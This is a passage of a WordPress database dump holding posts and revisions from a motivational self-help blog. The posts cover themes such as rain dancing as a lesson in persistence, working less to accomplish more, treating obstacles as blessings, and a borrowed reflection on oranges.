Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the gestation period on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created.\r\n\r\nNever give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? </strong>\r\n\r\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'publish', 'open', 'open', '', 'rain-dancing', '', '', '2010-03-11 08:16:52', '2010-03-11 15:16:52', '', 0, 'http://www.whitehotcenter.com/2007/10/rain-dancing.html', 0, 'post', '', 0);
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(84, 2, '2010-12-27 17:16:19', '2010-12-28 00:16:19', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to create success is to work really hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard will achieve very little in life. If you want to create more, work less.\r\n</span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAll  successful people have discovered the key to success and wealth creation  has very little to do with hard work. Nature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-autosave', '', '', '2010-12-27 17:16:19', '2010-12-28 00:16:19', '', 28, 'http://www.whitehotcenter.com/28-autosave', 0, 'revision', '', 0),
(1403, 2, '2010-08-12 11:15:05', '2010-08-12 18:15:05', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics who believe the only way to create success is to work really hard for it, this may be a challenging idea for you. It simply goes against the grain of conventional wisdom – people who don’t work hard will achieve very little in life. </span></h2>\r\n<div id="body">\r\n<div>\r\n\r\nAt first glance, you''re probably  thinking how can one achieve more and work less? It seems  counter-intuitive, and it goes against the grain of conventional  wisdom-people who don''t work hard, achieve very little in life. All  successful people have discovered the key to success and wealth creation  has very little to do with hard work.\r\n\r\nNature operates with ease. All the complex principals associated with  life itself operate with ease. Your heart beats, your lungs breathe,  the lilies don''t toil, the seasons change– all of this is going on  effortlessly. And so it must be with the realization of your desires and  the accomplishment of your goals. There is no need to toil through  drudgery to get what you want. Actually, the very idea of toil and  drudgery is counter-productive to the whole process of value creation  and life success. Think about these ideas for moment:\r\n\r\n-  hard work has absolutely nothing to do with creating success\r\n\r\n- hard work is not the basis for success\r\n\r\n- successful results are inversely proportional to the hard work expended\r\n\r\n- avoiding hard work has driven all human progress\r\n\r\nAfter years of banging my head against the wall, I have found the  revelation that doing less, in an easy and relaxed way, is the only  satisfying and fulfilling way to create desired results.\r\n\r\n<strong>Hard work=resistance and is the opposite of flow.</strong>\r\n\r\nFirst of all, no one likes to "have to" do anything. When you say I  "have to" pay my bills, so I "have to" work hard to get the money...  already you can sense the despair and powerlessness in the very idea of  "having to" do something you naturally resist. When you "have to" do  anything, you are in a state of resistance. You are fighting the natural  flow by pointing yourself upstream, resisting.\r\n\r\nAfter a couple of decades of this resistance, (think working hard)  you can see how some people eventually burn-out, lose their perspective,  lose joy, create sickness and ultimately lose life itself. No, having  to work hard to get what we want is not the answer. Grinding away at  something is the root cause of all disappointments in life. Turn this  idea around.\r\n\r\n<strong>Discover and pursue your path of least resistance.</strong>\r\n\r\nWhat do you love? I mean really love! What do you like to "play at"?  What are you effortlessly good at? What activity excites you to an  extent that when you are engaged in it, you actually lose your awareness  of time? Think about these questions deeply.\r\n\r\nWithin this idea of "play" is the seed of joyous, easy, relaxed,  natural, lazy creation. There is no working when you are engaged in an  activity you feel you were born to do. If you have an idea that you love  to play with, do you force yourself to play with it? Of course not. You  are naturally drawn to it. You are lovingly engaged in it. Things are  easy. There is no work involved and the results of your creation seem  almost miraculous.\r\n\r\nYour whole life must reflect what you are naturally drawn to do. It  is essential to achieving your heart''s desire. Do not trade one more  second of your precious life energy working hard at achieving your  goals. Discover your greatest gifts that have been with you since the  day you were born and use them to create value (and wealth) in an easy  and relaxed way!  Everything you need to create your success is already  within you–even the permission to follow your path of least resistance.\r\n\r\n<strong>Any useful idea that has elevated the life experience of  humans has come about because humans want to avoid having to do hard  work.</strong>\r\n\r\nAll our innovations throughout history have been created to make life  easier and better. Hard work is counter-productive to the direction of  growth and life expanding. Hard work shuts off the flow of creative,  inspired energy. Hard work is not in alignment with the laws of  creation. Nature creates in an easy and relaxed way. You are made of the  same stuff and this natural law applies to you wittingly or  unwittingly. You will never became healthy, wealthy and wise:\r\n\r\n- keeping your nose to the grindstone\r\n\r\n- pushing the ball uphill\r\n\r\n- working your fingers to the bone\r\n\r\n- going to a salt mine\r\n\r\n- spending the day with a slave driver\r\n\r\nThere is an easier, lazy, do nothing way to create the life you have  always desired. You must engage yourself in what you love, play and have  fun. Play with everything. If it''s not fun, and feels like hard work,  you are decreasing your potential for creating massive success in your  life. Align your focus and attention to only that which you love. Then  find partners who love doing the activities you resist doing. When you  put it all together, you will take a quantum leap in your power to  create what you desire.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (your life vision).</strong>\r\n\r\n</div>\r\n</div>', 'Work Less, Accomplish more!', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-21', '', '', '2010-08-12 11:15:05', '2010-08-12 18:15:05', '', 28, 'http://www.whitehotcenter.com/2010/08/12/28-revision-21/', 0, 'revision', '', 0),
(808, 2, '2009-07-09 16:30:37', '2009-07-09 23:30:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\n<strong>Think about these ideas for moment:</strong>\r\n<ul>\r\n	<li><strong>hard work has absolutely nothing to do with creating success</strong></li>\r\n	<li><strong>hard work is not the basis for success</strong></li>\r\n	<li><strong>success is inversely proportional to hard work</strong></li>\r\n	<li><strong>avoiding hard work has driven all human progress</strong></li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n<h2><span style="color: #ff6600;">Live your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.</span></h2>\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-14', '', '', '2009-07-09 16:30:37', '2009-07-09 23:30:37', '', 28, 'http://www.whitehotcenter.com/2009/07/09/28-revision-14/', 0, 'revision', '', 0),
(30, 2, '2007-09-25 13:00:12', '2007-09-25 20:00:12', '<h1><span style="color: #808080;">There is no way to avoid brick walls. We all hit them from time to time in our pursuit to achieve what we want. And that is the good news! When you are staring at a brick wall, you are looking at the raw material for your success. You have two choices:  stop and give up, or bust through.</span></h1>\r\nMost people stop and give up. Why? I think it is because they did not want it bad enough. Brick walls are necessary obstacles for growth and expansion. When we come to an obstacle in our pursuits, it''s time to check in with ourselves and ask how badly do we desire what is on the other side of the obstacle. There is a saying "the only way out is through."  Breaking through is to grow and expand.  Growth and expansion is a natural state of everything in the universe.  We must grow and expand or we begin the process of dying.  It is just the way it is.\r\n\r\nWe often think of brick walls as external forces that we confront. But I think the biggest obstacles are within us. We can get in our own way. We impose obstacles to our growth and expansion simply through our beliefs about ourselves, our current attitudes, our level of awareness.  The truth is nothing on the outside of us can have any real effect  on our progress toward the good we desire. We create our own perception of reality by what we believe. If you believe there is not enough, or you do not now have in your possession  what is required or necessary, then you will experience that outcome in your life.\r\n<h1>The brick walls we encounter are more or less of our own making.</h1>\r\nThe perceived obstacle in front of us is there to test our conviction, passion and belief that what we want is really worthy of us. Worthy of trading our "life time" in exchange for the attainment and experience of our heart''s desires.\r\n\r\nI know this can be a difficult idea to understand. But think about any important thing that has been achieved in your life thus far. Certainly there were  brick walls to bust through or go around in the process of your getting what you want. Obstacles are always in advance of  achievement. As your goals and desires grow ever larger, so will the challenges. Within the challenge, one finds the raw material of success. The greater the challenge, the greater the success. If you have brick walls in your life right now, consider them to be blessings. For that is exactly what they are.', 'Why hitting a brick wall is a good thing', 0, 'We all hit them from time to time in our pursuit to acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you...\r\n', 'publish', 'open', 'open', '', 'hitting-a-brick-wall', '', '', '2011-01-26 18:41:48', '2011-01-27 01:41:48', '', 0, 'http://www.whitehotcenter.com/2007/09/hitting-a-brick.html', 0, 'post', '', 0),
(81, 1, '2009-04-03 18:36:29', '2009-04-04 01:36:29', 'We all hit them from time to time in our pursuit to  acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you are looking at the raw material for your success. You have two choices:  stop and give up, or bust through.\r\n\r\nMost people stop and give up. Why? I think it is because they did not want it bad enough. Brick walls are necessary obstacles for growth and expansion. When we come to an obstacle in our pursuits, it''s time to check in with ourselves and ask how badly do we desire what is on the other side of the obstacle. There is a saying "the only way out is through".  Breaking through is to grow and expand.  Growth and expansion is a natural state of everything in the universe.  We must grow and expand or we begin the process of dying.  It is just the way it is.\r\n\r\nWe often think of brick walls as external forces that we confront. But I think the biggest obstacles are within us. We can get in our own way. We  impose obstacles to our growth and expansion simply through our beliefs about ourselves, our current attitudes, our level of awareness.  The truth is nothing on the outside of us can have any real effect  on our progress toward the good we desire. We create our own perception of reality by what we believe. If you believe there is not enough, or you do not now have in your possession  what is required or necessary, then you will experience that outcome in your life.  The brick walls we encounter are more or less of our own making.  The perceived obstacle in front of us is there to test our conviction, passion and belief that what we want is really worthy of us. Worthy of trading our "life time" in exchange for the attainment and experience of our heart''s desires.\r\n\r\nI know this can be a difficult idea to understand. But think about any important thing that has been achieved in your life thus far. Certainly there were  brick walls to bust through or go around in the process of your getting what you want. Obstacles are always in advance of  achievement. As your goals and desires grow ever larger, so will the challenges. Within the challenge, one finds the raw material of success. The greater the challenge, the greater the success. If you have brick walls in your life right now, consider them to be blessings. For that is exactly what they are.', 'Why hitting a brick wall is a good thing', 0, 'We all hit them from time to time in our pursuit to acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you...\r\n', 'inherit', 'open', 'open', '', '30-revision-2', '', '', '2009-04-03 18:36:29', '2009-04-04 01:36:29', '', 30, 'http://www.whitehotcenter.com/30-revision-2', 0, 'revision', '', 0),
(31, 2, '2007-05-17 21:01:33', '2007-05-18 04:01:33', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\n<strong>Most people hold themselves back with three counter productive habits:</strong>\r\n\r\n<strong>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</strong>\r\n\r\n<strong>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.</strong>\r\n\r\n<strong>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</strong>\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n<h2>These times are called life''s defining moments. Welcome them.</h2>\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nMake a decision to begin NOW! You don''t need to know how it will come to be... just begin in an easy and relaxed manner.\r\n\r\n<strong>Growth and expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice. Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</strong>', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'publish', 'open', 'open', '', 'are_you_ready_to_begin', '', '', '2010-04-22 20:46:38', '2010-04-23 03:46:38', '', 0, 'http://www.whitehotcenter.com/2007/05/are_you_ready_t.html', 0, 'post', '', 0),
(79, 2, '2011-01-26 18:41:57', '2011-01-27 01:41:57', '<h1><span style="color: #808080;">There is no way to avoid brick walls. We all hit them from time to time in our pursuit to achieve what we want. And that is the good news! When you are staring at a brick wall, you are looking at the raw material for your success. You have two choices:  stop and give up, or bust through.</span></h1>\r\nMost people stop and give up. Why? I think it is because they did not want it bad enough. Brick walls are necessary obstacles for growth and expansion. When we come to an obstacle in our pursuits, it''s time to check in with ourselves and ask how badly do we desire what is on the other side of the obstacle. There is a saying "the only way out is through."  Breaking through is to grow and expand.  Growth and expansion is a natural state of everything in the universe.  We must grow and expand or we begin the process of dying.  It is just the way it is.\r\n\r\nWe often think of brick walls as external forces that we confront. But I think the biggest obstacles are within us. We can get in our own way. We impose obstacles to our growth and expansion simply through our beliefs about ourselves, our current attitudes, our level of awareness.  The truth is nothing on the outside of us can have any real effect  on our progress toward the good we desire. We create our own perception of reality by what we believe. If you believe there is not enough, or you do not now have in your possession  what is required or necessary, then you will experience that outcome in your life.\r\n<h1>The brick walls we encounter are more or less of our own making.</h1>\r\nThe perceived obstacle in front of us is there to test our conviction, passion and belief that what we want is really worthy of us. Worthy of trading our "life time" in exchange for the attainment and experience of our heart''s desires.\r\n\r\nI know this can be a difficult idea to understand. But think about any important thing that has been achieved in your life thus far. Certainly there were  brick walls to bust through or go around in the process of your getting what you want. Obstacles are always in advance of  achievement. As your goals and desires grow ever larger, so will the challenges. Within the challenge, one finds the raw material of success. The greater the challenge, the greater the success. If you have brick walls in your life right now, consider them to be blessings. For that is exactly what they are.', 'Why hitting a brick wall is a good thing', 0, 'We all hit them from time to time in our pursuit to acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you...\r\n', 'inherit', 'open', 'open', '', '30-autosave', '', '', '2011-01-26 18:41:57', '2011-01-27 01:41:57', '', 30, 'http://www.whitehotcenter.com/30-autosave', 0, 'revision', '', 0),
(32, 2, '2007-05-14 20:54:22', '2007-05-15 03:54:22', 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will accomplish my goal. I am putting the focus of all my attention on WHAT I  desire and it will find a way, in fact it is already on its way to me...remember the old sayig  "where there is a will, there is a way.  I love a good cliche... they work every time!\r\n\r\nThere really is a profound sense of freedom and release when one puts all the energy on the desire and not the methods of achieving it. Methods will present themselves along the way. If you go back a few entries here, you can read my Vision.  I love this Vision and it holds my will to it. But I would like to achieve it in an easy and relaxed manner. That is particularly important and useful to me. In order to experience "easy and relaxed", I must first let go of the desire to control the HOW I will do it.  It''s not important how it comes to being, what is important is the belief and faith that it will, in fact, BE in its own time, in an easy and relaxed manner. I can  live like that!\r\n\r\nI want to remain open to receive any clues, circumstances, people, resources that may COME TO ME. That sounds easy and relaxed to me. How about you?', 'Dont worry HOW', 0, 'I have been reminded recently by a team of people I am working with not to worry too much about HOW I will acomplish my goal. I am putting the focus of all my attention on WHAT I desire and...\r\n', 'publish', 'open', 'open', '', 'dont_worry_how', '', '', '2009-04-03 15:22:03', '2009-04-03 22:22:03', '', 0, 'http://www.whitehotcenter.com/2007/05/dont_worry_how.html', 0, 'post', '', 0),
(33, 2, '2007-05-10 15:24:44', '2007-05-10 22:24:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic.jpg"><img class="alignnone size-medium wp-image-71" title="orangepic" src="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic-300x113.jpg" alt="orangepic" width="400" height="150" /></a>\r\n\r\nI picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from Michael Bungay Stanier, a writer and life coach from Toronto Canada. Check his very entertaining and useful information site at:\r\n\r\n<a href="http://www.boxofcrayons.biz">www.boxofcrayons.biz</a>\r\n\r\nHere is what he says about an orange...\r\n\r\n<strong>Why Oranges are Good for You</strong>\r\n\r\nLast week I was in San Francisco, spending some time at a conference and the rest hanging out and having fun in this funky city.\r\n\r\nMy wife and I got to explore Big Sur, a glorious stretch of countryside squeezed between wild Pacific ocean and mountains. One place we stopped was The Henry Miller Library, and I came across Miller''s book Big Sur and the Oranges of Hieronymus Bosch.\r\n\r\nYep - I didn''t understand the oranges thing either.\r\n\r\nBut Hieronymus Bosch is one of my favourite painters, and on some investigation I found that in his strange and glorious paintings, oranges symbolized paradise.\r\n\r\nAnd that association did not only occur in 15th C Netherlands. It wasn''t so long ago that oranges weren''t a ubiquitous fruit, but something rare and special - my Dad told me about getting an orange in his Christmas stocking in post-war Britain.\r\n\r\nSo as research for this article - and this is the sort of research I enjoy - I sat and ate an orange. REALLY ate an orange. And here''s what occurred to me as I enjoyed a brief moment of paradise...\r\n\r\nWhat''s juicy?\r\n\r\nThere''s that moment when you first break the peel of an orange and a little explosion of orange oil squirts out and fills the space with that familiar smell. And of course, when you bite into a wonderful orange the flesh is full and juicy.\r\n\r\nWhat''s juicy in your life right now? How can you get some more of that? How can you really enjoy it when you are there?\r\n\r\nWhat can you share?\r\n\r\nIt''s one of the simple and powerful acts of community. Peel an orange, break it in half and offer the half to someone else.\r\n\r\nThere is something you have right now that would benefit from being shared. It may be a skill or talent, it might be material goods, it might be your time.\r\n\r\nWhat will you share? Who will you share it with?\r\n\r\nI like that little metaphor very much. I will never eat an orange in quite the same way.', 'An Orange in Paradise', 0, 'I picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from...\r\n', 'publish', 'open', 'open', '', 'an_orange_in_paradise', '', '', '2009-04-03 15:09:06', '2009-04-03 22:09:06', '', 0, 'http://www.whitehotcenter.com/2007/05/an_orange_in_pa.html', 0, 'post', '', 0),
(73, 1, '2009-04-03 15:08:16', '2009-04-03 22:08:16', '<a href="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic.jpg"><img class="alignnone size-medium wp-image-71" title="orangepic" src="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic-300x113.jpg" alt="orangepic" width="400" height="150" /></a>\r\n\r\nI picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from Toronto Canada. Check his very entertainng and useful information site at:\r\n\r\n<a href="http://www.boxofcrayons.biz">www.boxofcrayons.biz</a>\r\n\r\nHere is what he says about an orange...\r\n\r\n<strong>Why Oranges are Good for You</strong>\r\n\r\nLast week I was in San Francisco, spending some time at a conference and the rest hanging out and having fun in this funky city.\r\n\r\nMy wife and I got to explore Big Sur, a glorious stretch of countryside squeezed between wild Pacific ocean and mountains. One place we stopped was The Henry Miller Library, and I came across Miller''s book Big Sur and the Oranges of Hieronymus Bosch.\r\n\r\nYep - I didn''t understand the oranges thing either.\r\n\r\nBut Hieronymus Bosch is one of my favourite painters, and on some investigation I found that in his strange and glorious paintings, oranges symbolized paradise.\r\n\r\nAnd that association did not only occur in 15th C Netherlands. It wasn''t so long ago that oranges weren''t a ubiquitous fruit, but something rare and special - my Dad told me about getting an orange in his Christmas stocking in post-war Britain.\r\n\r\nSo as research for this article - and this is the sort of research I enjoy - I sat and ate an orange. REALLY ate an orange. And here''s what occurred to me as I enjoyed a brief moment of paradise...\r\n\r\nWhat''s juicy?\r\n\r\nThere''s that moment when you first break the peel of an orange and a little explosion of orange oil squirts out and fills the space with that familiar smell. And of course, when you bite into a wonderful orange the flesh is full and juicy.\r\n\r\nWhat''s juicy in your life right now? How can you get some more of that? How can you really enjoy it when you are there?\r\n\r\nWhat can you share?\r\n\r\nIt''s one of the simple and powerful acts of community. Peel an orange, break it in half and offer the half to someone else.\r\n\r\nThere is something you have right now that would benefit from being shared. It may be a skill or talent, it might be material goods, it might be your time.\r\n\r\nWhat will you share? Who will you share it with?\r\n\r\nI like that little metaphor very much. I will never eat an orange in quite the same way.', 'An Orange in Paradise', 0, 'I picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from...\r\n', 'inherit', 'open', 'open', '', '33-revision-2', '', '', '2009-04-03 15:08:16', '2009-04-03 22:08:16', '', 33, 'http://www.whitehotcenter.com/33-revision-2', 0, 'revision', '', 0),
